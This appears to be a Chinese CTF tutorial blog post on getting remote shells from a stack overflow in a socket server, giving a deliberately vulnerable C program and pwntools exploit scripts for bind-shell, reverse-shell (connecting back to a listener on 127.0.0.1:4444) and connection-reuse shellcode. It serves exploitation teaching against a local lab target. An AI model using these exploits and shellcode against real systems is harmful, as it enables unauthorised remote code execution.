Getshell远程:真·RCE 正连?反连?不连?

真实的网络程序和Pwn题目中把输入输出映射到网络端口,二者程序本体的交互接口显然是不同的,后一种的CTF题目,真的具有现实意义么?如果是真的网络程序,我控制流劫持后直接执行system(“/bin/sh”)可以拿到shell么?如果不能,我如何才能Getshell呢?本篇我们通过一个例题回答上述问题。

socket

在看例题之前,首先要知道一个真实的网络程序是怎样实现的。在学习计算机网络时我们了解TCP/IP协议栈,在平日的安全研究中,我们能观察到一个程序使用了某个TCP端口,可以用wireshark抓到其通信的流量进而分析,如果分析出什么毛病,则可以用pwntools这种工具来完成基于网络信道的攻击。不过在以上的过程中,似乎并没有了解到我们到底是怎么把数据包发出去的,是从哪个接口来控制的TCP/IP这套协议栈。其实这个接口就是socket,linux提供给用户态程序来控制网络的接口。一句话理解:socket是API,背后实现了TCP/IP协议栈。

阅读完以上文章就大概明白了,一个网络连接对应了一个文件描述符,发送和接收数据最基本的方法和文件操作是完全一致的,就是read/write

例题

一个简单的栈溢出,不过输入接口是程序自身的启动的网络接口(tcp:8888)

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main (int argc, char **argv)
{
  int  s,c,j  =  0xe4ff;
  char buf[10];
  
  struct sockaddr_in server; 
  server.sin_family      = AF_INET;
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_port        = htons(8888);

  s = socket(AF_INET,SOCK_STREAM,0);
      bind  (s,(struct sockaddr *)&server,sizeof(server));
      listen(s,10);
  c = accept(s,NULL,NULL);
      read  (c,buf,1000);

  return 0;
}

关闭所有保护编译:

  gcc main.c -fno-stack-protector -z execstack -no-pie -o main

特意预留了0xe4ff这个变量,小端存储对应的机器码就是jmp rsp

>>> from pwn import *
>>> context(arch='amd64')
>>> disasm('\xff\xe4')
'   0:   ff e4          jmp    rsp'

找到编译后这个gadget的地址,即可写利用了:

  ROPgadget --binary ./main | grep "jmp rsp"
0x0000000000400698 : jmp rsp

这里我们全部使用pwntools提供的shellcraft中的shellcode来解题。在常见的CTF题目中,由于和目标程序交互的本质就是标准输入输出,所以直接使用shellcraft.sh(),即可执行shell程序并且和我们交互。但是如果用这种方法攻击此例题,则题目本地侧弹出一个shell,远程并无法Getshell:

from pwn import *
context(arch='amd64',os='linux')
io = remote("127.0.0.1",8888)
shellcode = asm(shellcraft.sh())
io.send('a'*40+p64(0x400698)+shellcode)

image

那我们如何才能Getshell呢?有如下三种办法:

正连

shellcode的功能为:让漏洞程序在其本地开启一个网络端口,并在有连接连入时将shell进程的输入输出绑定到该连接上。在msf中这个叫shell_bind_tcp,在pwntools中叫shellcraft.bindsh(),参数可以指定端口。如下,我们shellcode将shell开在目标机器的4444端口,然后继续用pwntools的去连接该端口即可在攻击窗口中获得一个交互式的shell。

from pwn import *
context(arch='amd64',os='linux')

io = remote("127.0.0.1",8888)
sc = asm(shellcraft.bindsh(4444))
io.send('a'*40+p64(0x400698)+sc)

sh = remote("127.0.0.1",4444)
sh.interactive()

image

反连

shellcode的功能为:让漏洞程序去连接远程的攻击者机器,并且将shell进程的输入输出绑定到此连接上。在msf中这个叫shell_reverse_tcp,在pwntools中需要两步shellcraft.connect()+shellcraft.dupsh()。根据文档,第一步会把与攻击者建立连接的文件描述符存放到rbp寄存器中,第二步会默认使用rbp寄存器中的文件描述符来重定向shell进程的输入和输出,即完成反连shell。

如下,攻击侧首先使用pwntools的listen函数监听本机的4444端口,然后shellcode执行后将shell反弹到攻击侧的4444端口,然后使用pwntools的wait_for_connection函数等待反连的连接,连入后即可在攻击窗口中获得一个交互式的shell。

from pwn import *
context(arch='amd64',os='linux')

sh = listen(4444)
io = remote("127.0.0.1",8888)
shellcode = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())
io.send('a'*40+p64(0x400698)+shellcode)

sh.wait_for_connection()
sh.interactive()

image

不连

远程漏洞利用:无需借助套接字的Shellcode

其实并不可能不连。你要远程攻击他,那必定得有数据通路,所以可以复用你攻击打过去的这个连接来获得交互shell。这个不连其实是不产生新的连接,也就是连接复用。在msf中这个叫shell_find_port。在pwntools有两种办法可以实现这个复用,第一个是直接用dupsh(),参数的立即数直接猜我们打过去连接的文件描述符的编号,第二种方法是findpeersh,参数可以指明连接的端口号以挑选出合适的连接(没太研究明白是哪侧的端口)。此种方法在实际演示漏洞中几乎是没有必要的,除非是网络出入规则及其严格的情景下,或者比较古怪的CTF题目中既不让你正连,也不让你反连。如:X-NUCA 2020 Final 团队赛:QMIPS

本题如下,直接在攻击连接上获得交互式shell,并不用产生多余的连接。

from pwn import *
context(arch='amd64',os='linux')
io = remote("127.0.0.1",8888)
#shellcode = asm(shellcraft.dupsh(4))
shellcode = asm(shellcraft.findpeersh(io.lport))
io.send('a'*40+p64(0x400698)+shellcode)
io.interactive()

image

总结

媳妇的本题练习:深入理解pwn题中的正连/反连tcp

以上五种shellcode罗列如下:

from pwn import *
context(arch='amd64',os='linux')
io = remote("127.0.0.1",8888)
#shellcode = asm(shellcraft.sh())
#shellcode = asm(shellcraft.amd64.linux.bindsh(4444))
#shellcode = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())
#shellcode = asm(shellcraft.dupsh(4))
#shellcode = asm(shellcraft.findpeersh(io.lport))
io.send('a'*40+p64(0x400698)+shellcode)
io.interactive()
  • msf的shellcode可以使用 msfvenom --list payloads 查找
  • pwntools的shellcode可以直接在文档中查找:shellcraft

其实这五种shellcode,只要执行了,都是远程代码执行(RCE),但在攻击侧获得一个交互式shell的是后四种。

回答

  • 问:如果是真的网络程序,我控制流劫持后直接执行system(“/bin/sh”)可以拿到shell么?
  • 答:不能在远程拿到shell。

  • 问:以上情节,如何远程Getshell呢?
  • 答:正连、反连、不连。

  • 问:把标准输入输出映射到网络端口的CTF题目,真的具有现实意义么?
  • 答:有,其实就是换个shellcode的事。